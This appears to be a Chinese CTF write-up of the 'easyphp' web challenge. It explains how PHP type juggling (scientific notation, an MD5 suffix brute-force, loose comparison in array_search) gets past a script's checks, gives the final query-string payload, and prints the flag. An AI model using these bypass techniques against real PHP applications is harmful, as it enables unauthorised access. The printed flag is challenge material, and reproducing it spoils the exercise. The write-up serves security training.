攻防世界WEB练习 | easyphp
创始人
2024-03-31 19:27:50
0

目录

题目场景

代码分析

找到flag


题目场景

代码分析

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)

isset:检查变量是否设置

intval:检查变量是否为int型

strlen:检查变量的长度

要求a存在且大于6000000,a的长度不能超过3

使用科学计数法 a=1e9(e9即10的9次方)

if(isset($b) && '8b184b' === substr(md5($b),-6,6))

直接用脚本跑出

for($i = 1;$i <= 1000000;$i++){

    if('8b184b' === substr(md5($i),-6,6)){

        echo $i."
".md5($i);

    }

}

?>

所以第一部分payload为?a=1e9&b=53724

$c=(array)json_decode(@$_GET['c']);

构造出数组C后json_decode

if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)

$c需为数组。且存在m,m不能为数字,但是需大于2022.科学技术法,直接m赋值为2023q 即可

c={"m":"2023q"}

 if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))

$c 存在n为数组,n的值数量为2(非索引).n的第一个值为数组,(这里的0为索引)

c={"m":"2023q","n":[[1,2],3]}

$d = array_search("DGGJ", $c["n"])foreach($c["n"] as $key=>$val){$val==="DGGJ"?die("no......"):NULL;

核心点是如何绕过array_ search这个函数。先看看下面两个判断吧,array_ seach的结
果b不能是假,也就是Array [n]中必须有元素是DGGJ,同时遍历Array [n]之后对数组值
进行判断,如果存在DGGJ则终止程序。
很明显这两个条件是矛盾的,开头提到了如何绕过array_ search是核心点,既然如此就先
了解一下array_search这个函数的作用吧。其作用是在数组中查找元素,并返回其下标。
而这个函数在进行元素查找的过程中进行的比较是==而非== =,因此同样是采取弱类型比较
的特点,因为是和没有数字字符串比较所以我们只要保证在Array [n]中存在非0下标的元
素中存在值0即可。因为在php中"字符串"==0是成立的。
最后再通过json_ encode ()将我们构造的数组进行一下转化就得到了 Array [n]的json格
式数据。

第二部分payload c={"m":"2023q","n":[[1,2],0]}

构造payload:?a=1e9&b=53724&c={"m":"2023q","n":[[1,2],0]}

找到flag

cyberpeace{db35f9b1ea0eaea688749f824e0ba234} 

相关内容

热门资讯

喜欢穿一身黑的男生性格(喜欢穿... 今天百科达人给各位分享喜欢穿一身黑的男生性格的知识,其中也会对喜欢穿一身黑衣服的男人人好相处吗进行解...
发春是什么意思(思春和发春是什... 本篇文章极速百科给大家谈谈发春是什么意思,以及思春和发春是什么意思对应的知识点,希望对各位有所帮助,...
网络用语zl是什么意思(zl是... 今天给各位分享网络用语zl是什么意思的知识,其中也会对zl是啥意思是什么网络用语进行解释,如果能碰巧...
为什么酷狗音乐自己唱的歌不能下... 本篇文章极速百科小编给大家谈谈为什么酷狗音乐自己唱的歌不能下载到本地?,以及为什么酷狗下载的歌曲不是...
家里可以做假山养金鱼吗(假山能... 今天百科达人给各位分享家里可以做假山养金鱼吗的知识,其中也会对假山能放鱼缸里吗进行解释,如果能碰巧解...
华为下载未安装的文件去哪找(华... 今天百科达人给各位分享华为下载未安装的文件去哪找的知识,其中也会对华为下载未安装的文件去哪找到进行解...
四分五裂是什么生肖什么动物(四... 本篇文章极速百科小编给大家谈谈四分五裂是什么生肖什么动物,以及四分五裂打一生肖是什么对应的知识点,希...
怎么往应用助手里添加应用(应用... 今天百科达人给各位分享怎么往应用助手里添加应用的知识,其中也会对应用助手怎么添加微信进行解释,如果能...
客厅放八骏马摆件可以吗(家里摆... 今天给各位分享客厅放八骏马摆件可以吗的知识,其中也会对家里摆八骏马摆件好吗进行解释,如果能碰巧解决你...
苏州离哪个飞机场近(苏州离哪个... 本篇文章极速百科小编给大家谈谈苏州离哪个飞机场近,以及苏州离哪个飞机场近点对应的知识点,希望对各位有...